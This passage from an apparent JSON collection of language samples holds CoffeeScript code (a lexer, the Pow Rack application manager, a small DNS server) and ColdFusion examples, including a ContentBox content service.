Close up all remaining open blocks at the end of the file.\n  closeIndentation: ->\n    @outdentToken @indent\n\n  # Matches a balanced group such as a single or double-quoted string. Pass in\n  # a series of delimiters, all of which must be nested correctly within the\n  # contents of the string. This method allows us to have strings within\n  # interpolations within strings, ad infinitum.\n  balancedString: (str, end) ->\n    continueCount = 0\n    stack = [end]\n    for i in [1...str.length]\n      if continueCount\n        --continueCount\n        continue\n      switch letter = str.charAt i\n        when '\\\\'\n          ++continueCount\n          continue\n        when end\n          stack.pop()\n          unless stack.length\n            return str[0..i]\n          end = stack[stack.length - 1]\n          continue\n      if end is '}' and letter in ['\"', \"'\"]\n        stack.push end = letter\n      else if end is '}' and letter is '/' and match = (HEREGEX.exec(str[i..]) or REGEX.exec(str[i..]))\n        continueCount += match[0].length - 1\n      else if end is '}' and letter is '{'\n        stack.push end = '}'\n      else if end is '\"' and prev is '#' and letter is '{'\n        stack.push end = '}'\n      prev = letter\n    @error \"missing #{ stack.pop() }, starting\"\n\n  # Expand variables and expressions inside double-quoted strings using\n  # Ruby-like notation for substitution of arbitrary expressions.\n  #\n  #     \"Hello #{name.capitalize()}.\"\n  #\n  # If it encounters an interpolation, this method will recursively create a\n  # new Lexer, tokenize the interpolated contents, and merge them into the\n  # token stream.\n  interpolateString: (str, options = {}) ->\n    {heredoc, regex} = options\n    tokens = []\n    pi = 0\n    i  = -1\n    while letter = str.charAt i += 1\n      if letter is '\\\\'\n        i += 1\n        continue\n      unless letter is '#' and str.charAt(i+1) is '{' and\n             (expr = @balancedString str[i + 1..], '}')\n        continue\n      tokens.push ['NEOSTRING', str[pi...i]] if pi < i\n      inner = expr[1...-1]\n      if inner.length\n        nested = new Lexer().tokenize inner, line: @line, rewrite: off\n        nested.pop()\n        nested.shift() if nested[0]?[0] is 'TERMINATOR'\n        if len = nested.length\n          if len > 1\n            nested.unshift ['(', '(', @line]\n            nested.push    [')', ')', @line]\n          tokens.push ['TOKENS', nested]\n      i += expr.length\n      pi = i + 1\n    tokens.push ['NEOSTRING', str[pi..]] if i > pi < str.length\n    return tokens if regex\n    return @token 'STRING', '\"\"' unless tokens.length\n    tokens.unshift ['', ''] unless tokens[0][0] is 'NEOSTRING'\n    @token '(', '(' if interpolated = tokens.length > 1\n    for [tag, value], i in tokens\n      @token '+', '+' if i\n      if tag is 'TOKENS'\n        @tokens.push value...\n      else\n        @token 'STRING', @makeString value, '\"', heredoc\n    @token ')', ')' if interpolated\n    tokens\n\n  # Pairs up a closing token, ensuring that all listed pairs of tokens are\n  # correctly balanced throughout the course of the token stream.\n  pair: (tag) ->\n    unless tag is wanted = last @ends\n      @error \"unmatched #{tag}\" unless 'OUTDENT' is wanted\n      # Auto-close INDENT to support syntax like this:\n      #\n      #     el.click((event) ->\n      #       el.hide())\n      #\n      @indent -= size = last @indents\n      @outdentToken size, true\n      return @pair tag\n    @ends.pop()\n\n  # Helpers\n  # -------\n\n  # Add a token to the results, taking note of the line number.\n  token: (tag, value) ->\n    @tokens.push [tag, value, @line]\n\n  # Peek at a tag in the current token stream.\n  tag: (index, tag) ->\n    (tok = last @tokens, index) and if tag then tok[0] = tag else tok[0]\n\n  # Peek at a value in the current token stream.\n  value: (index, val) ->\n    (tok = last @tokens, index) and if val then tok[1] = val else tok[1]\n\n  # Are we in the midst of an unfinished expression?\n  unfinished: ->\n    LINE_CONTINUER.test(@chunk) or\n    @tag() in ['\\\\', '.', '?.', 'UNARY', 'MATH', '+', '-', 'SHIFT', 'RELATION'\n               'COMPARE', 'LOGIC', 'THROW', 'EXTENDS']\n\n  # Converts newlines for string literals.\n  escapeLines: (str, heredoc) ->\n    str.replace MULTILINER, if heredoc then '\\\\n' else ''\n\n  # Constructs a string token by escaping quotes and newlines.\n  makeString: (body, quote, heredoc) ->\n    return quote + quote unless body\n    body = body.replace /\\\\([\\s\\S])/g, (match, contents) ->\n      if contents in ['\\n', quote] then contents else match\n    body = body.replace /// #{quote} ///g, '\\\\$&'\n    quote + @escapeLines(body, heredoc) + quote\n\n  # Throws a syntax error on the current `@line`.\n  error: (message) ->\n    throw SyntaxError \"#{message} on line #{ @line + 1}\"\n\n# Constants\n# ---------\n\n# Keywords that CoffeeScript shares in common with JavaScript.\nJS_KEYWORDS = [\n  'true', 'false', 'null', 'this'\n  'new', 'delete', 'typeof', 'in', 'instanceof'\n  'return', 'throw', 'break', 'continue', 'debugger'\n  'if', 'else', 'switch', 'for', 'while', 'do', 'try', 'catch', 'finally'\n  'class', 'extends', 'super'\n]\n\n# CoffeeScript-only keywords.\nCOFFEE_KEYWORDS = ['undefined', 'then', 'unless', 'until', 'loop', 'of', 'by', 'when']\n\nCOFFEE_ALIAS_MAP =\n  and  : '&&'\n  or   : '||'\n  is   : '=='\n  isnt : '!='\n  not  : '!'\n  yes  : 'true'\n  no   : 'false'\n  on   : 'true'\n  off  : 'false'\n\nCOFFEE_ALIASES  = (key for key of COFFEE_ALIAS_MAP)\nCOFFEE_KEYWORDS = COFFEE_KEYWORDS.concat COFFEE_ALIASES\n\n# The list of keywords that are reserved by JavaScript, but not used, or are\n# used by CoffeeScript internally. We throw an error when these are encountered,\n# to avoid having a JavaScript error at runtime.\nRESERVED = [\n  'case', 'default', 'function', 'var', 'void', 'with'\n  'const', 'let', 'enum', 'export', 'import', 'native'\n  '__hasProp', '__extends', '__slice', '__bind', '__indexOf'\n  'implements', 'interface', 'let', 'package',\n  'private', 'protected', 'public', 'static', 'yield'\n]\n\nSTRICT_PROSCRIBED = ['arguments', 'eval']\n\n# The superset of both JavaScript keywords and reserved words, none of which may\n# be used as identifiers or properties.\nJS_FORBIDDEN = JS_KEYWORDS.concat(RESERVED).concat(STRICT_PROSCRIBED)\n\nexports.RESERVED = RESERVED.concat(JS_KEYWORDS).concat(COFFEE_KEYWORDS).concat(STRICT_PROSCRIBED)\nexports.STRICT_PROSCRIBED = STRICT_PROSCRIBED\n\n# Token matching regexes.\nIDENTIFIER = /// ^\n  ( [$A-Za-z_\\x7f-\\uffff][$\\w\\x7f-\\uffff]* )\n  ( [^\\n\\S]* : (?!:) )?  # Is this a property name?\n///\n\nNUMBER     = ///\n  ^ 0b[01]+    |              # binary\n  ^ 0o[0-7]+   |              # octal\n  ^ 0x[\\da-f]+ |              # hex\n  ^ \\d*\\.?\\d+ (?:e[+-]?\\d+)?  # decimal\n///i\n\nHEREDOC    = /// ^ (\"\"\"|''') ([\\s\\S]*?) (?:\\n[^\\n\\S]*)? \\1 ///\n\nOPERATOR   = /// ^ (\n  ?: [-=]>             # function\n   | [-+*/%<>&|^!?=]=  # compound assign / compare\n   | >>>=?             # zero-fill right shift\n   | ([-+:])\\1         # doubles\n   | ([&|<>])\\2=?      # logic / shift\n   | \\?\\.              # soak access\n   | \\.{2,3}           # range or splat\n) ///\n\nWHITESPACE = /^[^\\n\\S]+/\n\nCOMMENT    = /^###([^#][\\s\\S]*?)(?:###[^\\n\\S]*|(?:###)?$)|^(?:\\s*#(?!##[^#]).*)+/\n\nCODE       = /^[-=]>/\n\nMULTI_DENT = /^(?:\\n[^\\n\\S]*)+/\n\nSIMPLESTR  = /^'[^\\\\']*(?:\\\\.[^\\\\']*)*'/\n\nJSTOKEN    = /^`[^\\\\`]*(?:\\\\.[^\\\\`]*)*`/\n\n# Regex-matching-regexes.\nREGEX = /// ^\n  (/ (?! [\\s=] )   # disallow leading whitespace or equals signs\n  [^ [ / \\n \\\\ ]*  # every other thing\n  (?:\n    (?: \\\\[\\s\\S]   # anything escaped\n      | \\[         # character class\n           [^ \\] \\n \\\\ ]*\n           (?: \\\\[\\s\\S] [^ \\] \\n \\\\ ]* )*\n         ]\n    ) [^ [ / \\n \\\\ ]*\n  )*\n  /) ([imgy]{0,4}) (?!\\w)\n///\n\nHEREGEX      = /// ^ /{3} ([\\s\\S]+?) /{3} ([imgy]{0,4}) (?!\\w) ///\n\nHEREGEX_OMIT = /\\s+(?:#.*)?/g\n\n# Token cleaning regexes.\nMULTILINER      = /\\n/g\n\nHEREDOC_INDENT  = /\\n+([^\\n\\S]*)/g\n\nHEREDOC_ILLEGAL = /\\*\\//\n\nLINE_CONTINUER  = /// ^ \\s* (?: , | \\??\\.(?![.\\d]) | :: ) ///\n\nTRAILING_SPACES = /\\s+$/\n\n# Compound assignment tokens.\nCOMPOUND_ASSIGN = [\n  '-=', '+=', '/=', '*=', '%=', '||=', '&&=', '?=', '<<=', '>>=', '>>>=', '&=', '^=', '|='\n]\n\n# Unary tokens.\nUNARY   = ['!', '~', 'NEW', 'TYPEOF', 'DELETE', 'DO']\n\n# Logical tokens.\nLOGIC   = ['&&', '||', '&', '|', '^']\n\n# Bit-shifting tokens.\nSHIFT   = ['<<', '>>', '>>>']\n\n# Comparison tokens.\nCOMPARE = ['==', '!=', '<', '>', '<=', '>=']\n\n# Mathematical tokens.\nMATH    = ['*', '/', '%']\n\n# Relational tokens that are negatable with `not` prefix.\nRELATION = ['IN', 'OF', 'INSTANCEOF']\n\n# Boolean tokens.\nBOOL = ['TRUE', 'FALSE']\n\n# Tokens which a regular expression will never immediately follow, but which\n# a division operator might.\n#\n# See: http://www.mozilla.org/js/language/js20-2002-04/rationale/syntax.html#regular-expressions\n#\n# Our list is shorter, due to sans-parentheses method calls.\nNOT_REGEX = ['NUMBER', 'REGEX', 'BOOL', 'NULL', 'UNDEFINED', '++', '--', ']']\n\n# If the previous token is not spaced, there are more preceding tokens that\n# force a division parse:\nNOT_SPACED_REGEX = NOT_REGEX.concat ')', '}', 'THIS', 'IDENTIFIER', 'STRING'\n\n# Tokens which could legitimately be invoked or indexed. An opening\n# parentheses or bracket following these tokens will be recorded as the start\n# of a function invocation or indexing operation.\nCALLABLE  = ['IDENTIFIER', 'STRING', 'REGEX', ')', ']', '}', '?', '::', '@', 'THIS', 'SUPER']\nINDEXABLE = CALLABLE.concat 'NUMBER', 'BOOL', 'NULL', 'UNDEFINED'\n\n# Tokens that, when immediately preceding a `WHEN`, indicate that the `WHEN`\n# occurs at the start of a line. We disambiguate these from trailing whens to\n# avoid an ambiguity in the grammar.\nLINE_BREAK = ['INDENT', 'OUTDENT', 'TERMINATOR']\n"
  },
  {
    "path": "samples/CoffeeScript/rack_application.coffee",
    "content": "# The `RackApplication` class is responsible for managing a\n# [Nack](http://josh.github.com/nack/) pool for a given Rack\n# application. Incoming HTTP requests are dispatched to\n# `RackApplication` instances by an `HttpServer`, where they are\n# subsequently handled by a pool of Nack worker processes. By default,\n# Pow tells Nack to use a maximum of two worker processes per\n# application, but this can be overridden with the configuration's\n# `workers` option.\n#\n# Before creating the Nack pool, Pow executes the `.powrc` and\n# `.powenv` scripts if they're present in the application root,\n# captures their environment variables, and passes them along to the\n# Nack worker processes. This lets you modify your `RUBYOPT` to use\n# different Ruby options, for example.\n#\n# If [rvm](http://rvm.beginrescueend.com/) is installed and an\n# `.rvmrc` file is present in the application's root, Pow will load\n# both before creating the Nack pool. This makes it easy to run an\n# app with a specific version of Ruby.\n#\n# Nack workers remain running until they're killed, restarted (by\n# touching the `tmp/restart.txt` file in the application root), or\n# until the application has not served requests for the length of time\n# specified in the configuration's `timeout` option (15 minutes by\n# default).\n\nasync = require \"async\"\nfs    = require \"fs\"\nnack  = require \"nack\"\n\n{bufferLines, pause, sourceScriptEnv} = require \"./util\"\n{join, exists, basename, resolve} = require \"path\"\n\nmodule.exports = class RackApplication\n  # Create a `RackApplication` for the given configuration and\n  # root path. The application begins life in the uninitialized\n  # state.\n  constructor: (@configuration, @root, @firstHost) ->\n    @logger = @configuration.getLogger join \"apps\", basename @root\n    @readyCallbacks = []\n    @quitCallbacks  = []\n    @statCallbacks  = []\n\n  # Queue `callback` to be invoked when the application becomes ready,\n  # then start the initialization process. If the application's state\n  # is ready, the callback is invoked immediately.\n  ready: (callback) ->\n    if @state is \"ready\"\n      callback()\n    else\n      @readyCallbacks.push callback\n      @initialize()\n\n  # Tell the application to quit and queue `callback` to be invoked\n  # when all workers have exited. If the application has already quit,\n  # the callback is invoked immediately.\n  quit: (callback) ->\n    if @state\n      @quitCallbacks.push callback if callback\n      @terminate()\n    else\n      callback?()\n\n  # Stat `tmp/restart.txt` in the application root and invoke the\n  # given callback with a single argument indicating whether or not\n  # the file has been touched since the last call to\n  # `queryRestartFile`.\n  queryRestartFile: (callback) ->\n    fs.stat join(@root, \"tmp/restart.txt\"), (err, stats) =>\n      if err\n        @mtime = null\n        callback false\n      else\n        lastMtime = @mtime\n        @mtime = stats.mtime.getTime()\n        callback lastMtime isnt @mtime\n\n  # Check to see if `tmp/always_restart.txt` is present in the\n  # application root, and set the pool's `runOnce` option\n  # accordingly. Invoke `callback` when the existence check has\n  # finished. (Multiple calls to this method are aggregated.)\n  setPoolRunOnceFlag: (callback) ->\n    unless @statCallbacks.length\n      exists join(@root, \"tmp/always_restart.txt\"), (alwaysRestart) =>\n        @pool.runOnce = alwaysRestart\n        statCallback() for statCallback in @statCallbacks\n        @statCallbacks = []\n\n    @statCallbacks.push callback\n\n  # Collect environment variables from `.powrc` and `.powenv`, in that\n  # order, if present. The idea is that `.powrc` files can be checked\n  # into a source code repository for global configuration, leaving\n  # `.powenv` free for any necessary local overrides.\n  loadScriptEnvironment: (env, callback) ->\n    async.reduce [\".powrc\", \".envrc\", \".powenv\"], env, (env, filename, callback) =>\n      exists script = join(@root, filename), (scriptExists) ->\n        if scriptExists\n          sourceScriptEnv script, env, callback\n        else\n          callback null, env\n    , callback\n\n  # If `.rvmrc` and `$HOME/.rvm/scripts/rvm` are present, load rvm,\n  # source `.rvmrc`, and invoke `callback` with the resulting\n  # environment variables. If `.rvmrc` is present but rvm is not\n  # installed, invoke `callback` without sourcing `.rvmrc`.\n  # Before loading rvm, Pow invokes a helper script that shows a\n  # deprecation notice if it has not yet been displayed.\n  loadRvmEnvironment: (env, callback) ->\n    exists script = join(@root, \".rvmrc\"), (rvmrcExists) =>\n      if rvmrcExists\n        exists rvm = @configuration.rvmPath, (rvmExists) =>\n          if rvmExists\n            libexecPath = resolve \"#{__dirname}/../libexec\"\n            before = \"\"\"\n              '#{libexecPath}/pow_rvm_deprecation_notice' '#{[@firstHost]}'\n              source '#{rvm}' > /dev/null\n            \"\"\".trim()\n            sourceScriptEnv script, env, {before}, callback\n          else\n            callback null, env\n      else\n        callback null, env\n\n  # Stat `tmp/restart.txt` to cache its mtime, then load the\n  # application's full environment from `.powrc`, `.powenv`, and\n  # `.rvmrc`.\n  loadEnvironment: (callback) ->\n    @queryRestartFile =>\n      @loadScriptEnvironment @configuration.env, (err, env) =>\n        if err then callback err\n        else @loadRvmEnvironment env, (err, env) =>\n          if err then callback err\n          else callback null, env\n\n  # Begin the initialization process if the application is in the\n  # uninitialized state. (If the application is terminating, queue a\n  # call to `initialize` after all workers have exited.)\n  initialize: ->\n    if @state\n      if @state is \"terminating\"\n        @quit => @initialize()\n      return\n\n    @state = \"initializing\"\n\n    # Load the application's environment. If an error is raised or\n    # either of the environment scripts exits with a non-zero status,\n    # reset the application's state and log the error.\n    @loadEnvironment (err, env) =>\n      if err\n        @state = null\n        @logger.error err.message\n        @logger.error \"stdout: #{err.stdout}\"\n        @logger.error \"stderr: #{err.stderr}\"\n\n      # Set the application's state to ready. Then create the Nack\n      # pool instance using the `workers` and `timeout` options from\n      # the application's environment or the global configuration.\n      else\n        @state = \"ready\"\n\n        @pool = nack.createPool join(@root, \"config.ru\"),\n          env:  env\n          size: env?.POW_WORKERS ? @configuration.workers\n          idle: (env?.POW_TIMEOUT ? @configuration.timeout) * 1000\n\n        # Log the workers' stderr and stdout, and log each worker's\n        # PID as it spawns and exits.\n        bufferLines @pool.stdout, (line) => @logger.info line\n        bufferLines @pool.stderr, (line) => @logger.warning line\n\n        @pool.on \"worker:spawn\", (process) =>\n          @logger.debug \"nack worker #{process.child.pid} spawned\"\n\n        @pool.on \"worker:exit\", (process) =>\n          @logger.debug \"nack worker exited\"\n\n      # Invoke and remove all queued callbacks, passing along the\n      # error, if any.\n      readyCallback err for readyCallback in @readyCallbacks\n      @readyCallbacks = []\n\n  # Begin the termination process. (If the application is initializing,\n  # wait until it is ready before shutting down.)\n  terminate: ->\n    if @state is \"initializing\"\n      @ready => @terminate()\n\n    else if @state is \"ready\"\n      @state = \"terminating\"\n\n      # Instruct all workers to exit. After the processes have\n      # terminated, reset the application's state, then invoke and\n      # remove all queued callbacks.\n      @pool.quit =>\n        @state = null\n        @mtime = null\n        @pool = null\n\n        quitCallback() for quitCallback in @quitCallbacks\n        @quitCallbacks = []\n\n  # Handle an incoming HTTP request. Wait until the application is in\n  # the ready state, restart the workers if necessary, then pass the\n  # request along to the Nack pool. If the Nack worker raises an\n  # exception handling the request, reset the application.\n  handle: (req, res, next, callback) ->\n    resume = pause req\n    @ready (err) =>\n      return next err if err\n      @setPoolRunOnceFlag =>\n        @restartIfNecessary =>\n          req.proxyMetaVariables =\n            SERVER_PORT: @configuration.dstPort.toString()\n          try\n            @pool.proxy req, res, (err) =>\n              @quit() if err\n              next err\n          finally\n            resume()\n            callback?()\n\n  # Terminate the application, re-initialize it, and invoke the given\n  # callback when the application's state becomes ready.\n  restart: (callback) ->\n    @quit =>\n      @ready callback\n\n  # Restart the application if `tmp/restart.txt` has been touched\n  # since the last call to this function.\n  restartIfNecessary: (callback) ->\n    @queryRestartFile (mtimeChanged) =>\n      if mtimeChanged\n        @restart callback\n      else\n        callback()\n\n  # Append RVM autoload boilerplate to the application's `.powrc`\n  # file. This is called by the RVM deprecation notice mini-app.\n  writeRvmBoilerplate: ->\n    powrc = join @root, \".powrc\"\n    boilerplate = @constructor.rvmBoilerplate\n\n    fs.readFile powrc, \"utf8\", (err, contents) ->\n      contents ?= \"\"\n      if contents.indexOf(boilerplate) is -1\n        fs.writeFile powrc, \"#{boilerplate}\\n#{contents}\"\n\n  @rvmBoilerplate: \"\"\"\n    if [ -f \"$rvm_path/scripts/rvm\" ] && [ -f \".rvmrc\" ]; then\n      source \"$rvm_path/scripts/rvm\"\n      source \".rvmrc\"\n    fi\n  \"\"\"\n"
  },
  {
    "path": "samples/CoffeeScript/xipd.coffee",
    "content": "dnsserver = require \"dnsserver\"\n\nexports.Server = class Server extends dnsserver.Server\n  NS_T_A            = 1\n  NS_T_NS           = 2\n  NS_T_CNAME        = 5\n  NS_T_SOA          = 6\n  NS_C_IN           = 1\n  NS_RCODE_NXDOMAIN = 3\n\n  constructor: (domain, @rootAddress) ->\n    super\n    @domain = domain.toLowerCase()\n    @soa = createSOA @domain\n    @on \"request\", @handleRequest\n\n  handleRequest: (req, res) =>\n    question  = req.question\n    subdomain = @extractSubdomain question.name\n\n    if subdomain? and isARequest question\n      res.addRR question.name, NS_T_A, NS_C_IN, 600, subdomain.getAddress()\n    else if subdomain?.isEmpty() and isNSRequest question\n      res.addRR question.name, NS_T_SOA, NS_C_IN, 600, @soa, true\n    else\n      res.header.rcode = NS_RCODE_NXDOMAIN\n\n    res.send()\n\n  extractSubdomain: (name) ->\n    Subdomain.extract name, @domain, @rootAddress\n\n  isARequest = (question) ->\n    question.type is NS_T_A and question.class is NS_C_IN\n\n  isNSRequest = (question) ->\n    question.type is NS_T_NS and question.class is NS_C_IN\n\n  createSOA = (domain) ->\n    mname   = \"ns-1.#{domain}\"\n    rname   = \"hostmaster.#{domain}\"\n    serial  = parseInt new Date().getTime() / 1000\n    refresh = 28800\n    retry   = 7200\n    expire  = 604800\n    minimum = 3600\n    dnsserver.createSOA mname, rname, serial, refresh, retry, expire, minimum\n\nexports.createServer = (domain, address = \"127.0.0.1\") ->\n  new Server domain, address\n\nexports.Subdomain = class Subdomain\n  @extract: (name, domain, address) ->\n    return unless name\n    name = name.toLowerCase()\n    offset = name.length - domain.length\n\n    if domain is name.slice offset\n      subdomain = if 0 >= offset then null else name.slice 0, offset - 1\n      new constructor subdomain, address if constructor = @for subdomain\n\n  @for: (subdomain = \"\") ->\n    if IPAddressSubdomain.pattern.test subdomain\n      IPAddressSubdomain\n    else if EncodedSubdomain.pattern.test subdomain\n      EncodedSubdomain\n    else\n      Subdomain\n\n  constructor: (@subdomain, @address) ->\n    @labels = subdomain?.split(\".\") ? []\n    @length = @labels.length\n\n  isEmpty: ->\n    @length is 0\n\n  getAddress: ->\n    @address\n\nclass IPAddressSubdomain extends Subdomain\n  @pattern = /// (^|\\.)\n    ((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}\n    (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\n  $ ///\n\n  getAddress: ->\n    @labels.slice(-4).join \".\"\n\nclass EncodedSubdomain extends Subdomain\n  @pattern = /(^|\\.)[a-z0-9]{1,7}$/\n\n  getAddress: ->\n    decode @labels[@length - 1]\n\nexports.encode = encode = (ip) ->\n  value = 0\n  for byte, index in ip.split \".\"\n    value += parseInt(byte, 10) << (index * 8)\n  (value >>> 0).toString 36\n\nPATTERN = /^[a-z0-9]{1,7}$/\n\nexports.decode = decode = (string) ->\n  return unless PATTERN.test string\n  value = parseInt string, 36\n  ip = []\n  for i in [1..4]\n    ip.push value & 0xFF\n    value >>= 8\n  ip.join \".\"\n"
  },
  {
    "path": "samples/ColdFusion/example.cfm",
    "content": "<!--- cfcomment --->\n<!--- nested <!--- cfcomment ---> --->\n<!--- multi-line\nnested\n<!---\ncfcomment\n--->\n--->\n<!-- html comment -->\n<html>\n<head>\n<title>Date Functions</title>\n</head>\n<body>\n<cfset RightNow = Now()>\n<cfoutput>\n #RightNow#<br />\n #DateFormat(RightNow)#<br />\n #DateFormat(RightNow,\"mm/dd/yy\")#<br />\n #TimeFormat(RightNow)#<br />\n #TimeFormat(RightNow,\"hh:mm tt\")#<br />\n #IsDate(RightNow)#<br />\n #IsDate(\"January 31, 2007\")#<br />\n #IsDate(\"foo\")#<br />\n #DaysInMonth(RightNow)#\n</cfoutput>\n<cfset x=\"x\">\n<cfset y=\"y\">\n<cfset z=\"z\">\n<cfoutput group=\"x\">\n    #x#\n    <cfoutput>#y#</cfoutput>\n    #z#\n</cfoutput>\n</body>\n</html>\n\n<cfset person = \"Paul\">\n<cfset greeting = \"Hello #person#\">\n\n<cfset greeting = \"Hello\" & \" world!\">\n<cfset a = 5>\n<cfset b = 10>\n<cfset c = a^b>\n<cfset c = a MOD b>\n<cfset c = a / b>\n<cfset c = a * b>\n<cfset c = a + b>\n<cfset c = a - b>\n<!--- <!-- another <!--- nested --> ---> comment --->"
  },
  {
    "path": "samples/ColdFusion CFC/exampleScript.cfc",
    "content": "/**\n********************************************************************************\nContentBox - A Modular Content Platform\nCopyright 2012 by Luis Majano and Ortus Solutions, Corp\nwww.gocontentbox.org | www.luismajano.com | www.ortussolutions.com\n********************************************************************************\nApache License, Version 2.0\n\nCopyright Since [2012] [Luis Majano and Ortus Solutions,Corp]\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n********************************************************************************\n* A generic content service for content objects\n*/\ncomponent extends=\"coldbox.system.orm.hibernate.VirtualEntityService\" singleton{\n\n\t// DI\n\tproperty name=\"settingService\"\t\t\tinject=\"id:settingService@cb\";\n\tproperty name=\"cacheBox\"\t\t\t\tinject=\"cachebox\";\n\tproperty name=\"log\"\t\t\t\t\t\tinject=\"logbox:logger:{this}\";\n\tproperty name=\"customFieldService\" \t \tinject=\"customFieldService@cb\";\n\tproperty name=\"categoryService\" \t \tinject=\"categoryService@cb\";\n\tproperty name=\"commentService\" \t \t\tinject=\"commentService@cb\";\n\tproperty name=\"contentVersionService\"\tinject=\"contentVersionService@cb\";\n\tproperty name=\"authorService\"\t\t\tinject=\"authorService@cb\";\n\tproperty name=\"populator\"\t\t\t\tinject=\"wirebox:populator\";\n\tproperty name=\"systemUtil\"\t\t\t\tinject=\"SystemUtil@cb\";\n\t\n\t/*\n\t* Constructor\n\t* @entityName.hint The content entity name to bind this service to.\n\t*/\n\tContentService function init(entityName=\"cbContent\"){\n\t\t// init it\n\t\tsuper.init(entityName=arguments.entityName, useQueryCaching=true);\n\n\t\t// Test scope coloring in pygments\n\t\tthis.colorTestVar = \"Just for testing pygments!\";\n\t\tcookie.colorTestVar = \"\";\n\t\tclient.colorTestVar = \"\"\n\t\tsession.colorTestVar = \"\";\n\t\tapplication.colorTestVar = \"\";\n\n\t\treturn this;\n\t}\n\n\t/**\n\t* Clear all content caches\n\t* @async.hint Run it asynchronously or not, defaults to false\n\t*/\n\tfunction clearAllCaches(boolean async=false){\n\t\tvar settings = settingService.getAllSettings(asStruct=true);\n\t\t// Get appropriate cache provider\n\t\tvar cache = cacheBox.getCache( settings.cb_content_cacheName );\n\t\tcache.clearByKeySnippet(keySnippet=\"cb-content\",async=arguments.async);\n\t\treturn this;\n\t}\n\n\t/**\n\t* Clear all page wrapper caches\n\t* @async.hint Run it asynchronously or not, defaults to false\n\t*/\n\tfunction clearAllPageWrapperCaches(boolean async=false){\n\t\tvar settings = settingService.getAllSettings(asStruct=true);\n\t\t// Get appropriate cache provider\n\t\tvar cache = cacheBox.getCache( settings.cb_content_cacheName );\n\t\tcache.clearByKeySnippet(keySnippet=\"cb-content-pagewrapper\",async=arguments.async);\n\t\treturn this;\n\t}\n\n\t/**\n\t* Clear all page wrapper caches\n\t* @slug.hint The slug partial to clean on\n\t* @async.hint Run it asynchronously or not, defaults to false\n\t*/\n\tfunction clearPageWrapperCaches(required any slug, boolean async=false){\n\t\tvar settings = settingService.getAllSettings(asStruct=true);\n\t\t// Get appropriate cache provider\n\t\tvar cache = cacheBox.getCache( settings.cb_content_cacheName );\n\t\tcache.clearByKeySnippet(keySnippet=\"cb-content-pagewrapper-#arguments.slug#\",async=arguments.async);\n\t\treturn this;\n\t}\n\n\t/**\n\t* Clear a page wrapper cache\n\t* @slug.hint The slug to clean\n\t* @async.hint Run it asynchronously or not, defaults to false\n\t*/\n\tfunction clearPageWrapper(required any slug, boolean async=false){\n\t\tvar settings = settingService.getAllSettings(asStruct=true);\n\t\t// Get appropriate cache provider\n\t\tvar cache = cacheBox.getCache( settings.cb_content_cacheName );\n\t\tcache.clear(\"cb-content-pagewrapper-#arguments.slug#/\");\n\t\treturn this;\n\t}\n\n\t/**\n\t* Searches published content with cool paramters, remember published content only\n\t* @searchTerm.hint The search term to search\n\t* @max.hint The maximum number of records to paginate\n\t* @offset.hint The offset in the pagination\n\t* @asQuery.hint Return as query or array of objects, defaults to array of objects\n\t* @sortOrder.hint The sorting of the search results, defaults to publishedDate DESC\n\t* @isPublished.hint Search for published, non-published or both content objects [true, false, 'all']\n\t* @searchActiveContent.hint Search only content titles or both title and active content. Defaults to both.\n\t*/\n\tfunction searchContent(\n\t\tany searchTerm=\"\", \n\t\tnumeric max=0, \n\t\tnumeric offset=0, \n\t\tboolean asQuery=false, \n\t\tany sortOrder=\"publishedDate DESC\", \n\t\tany isPublished=true, \n\t\tboolean searchActiveContent=true){\n\n\t\tvar results = {};\n\t\tvar c = newCriteria();\n\n\t\t// only published content\n\t\tif( isBoolean( arguments.isPublished ) ){\n\t\t\t// Published bit\n\t\t\tc.isEq( \"isPublished\", javaCast( \"Boolean\", arguments.isPublished ) );\n\t\t\t// Published eq true evaluate other params\n\t\t\tif( arguments.isPublished ){\n\t\t\t\tc.isLt(\"publishedDate\", now() )\n\t\t\t\t.$or( c.restrictions.isNull(\"expireDate\"), c.restrictions.isGT(\"expireDate\", now() ) )\n\t\t\t\t.isEq(\"passwordProtection\",\"\");\n\t\t\t}\n\t\t}\n\n\t\t// Search Criteria\n\t\tif( len( arguments.searchTerm ) ){\n\t\t\t// like disjunctions\n\t\t\tc.createAlias(\"activeContent\",\"ac\");\n\t\t\t// Do we search title and active content or just title?\n\t\t\tif( arguments.searchActiveContent ){\n\t\t\t\tc.$or( c.restrictions.like(\"title\",\"%#arguments.searchTerm#%\"),\n\t\t\t\t  \t  c.restrictions.like(\"ac.content\", \"%#arguments.searchTerm#%\") );\n\t\t\t}\n\t\t\telse{\n\t\t\t\tc.like( \"title\", \"%#arguments.searchTerm#%\" ); \n\t\t\t}\n\t\t}\n\n\t\t// run criteria query and projections count\n\t\tresults.count = c.count( \"contentID\" );\n\t\tresults.content = c.resultTransformer( c.DISTINCT_ROOT_ENTITY )\n\t\t\t\t\t\t\t.list(offset=arguments.offset, max=arguments.max, sortOrder=arguments.sortOrder, asQuery=arguments.asQuery);\n\t\n\t\treturn results;\n\t}\n\n/********************************************* PRIVATE *********************************************/\n\t\n\n\t/**\n\t* Update the content hits\n\t* @contentID.hint The content id to update\n\t*/\n\tprivate function syncUpdateHits(required contentID){\n\t\tvar q = new Query(sql=\"UPDATE cb_content SET hits = hits + 1 WHERE contentID = #arguments.contentID#\").execute();\n\t\treturn this;\n\t}\n\t\n\t\n\tprivate function closureTest(){\n\t\tmethodCall(\n\t\t\tparam1,\n\t\t\tfunction( arg1, required arg2 ){\n\t\t\t\tvar settings = settingService.getAllSettings(asStruct=true);\n\t\t\t\t// Get appropriate cache provider\n\t\t\t\tvar cache = cacheBox.getCache( settings.cb_content_cacheName );\n\t\t\t\tcache.clear(\"cb-content-pagewrapper-#arguments.slug#/\");\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\tparam1\n\t\t);\n\t}\n\t\n\tprivate function StructliteralTest(){\n\t\treturn {\n\t\t\tfoo = bar,\n\t\t\tbrad = 'Wood',\n\t\t\tfunc = function( arg1, required arg2 ){\n\t\t\t\tvar settings = 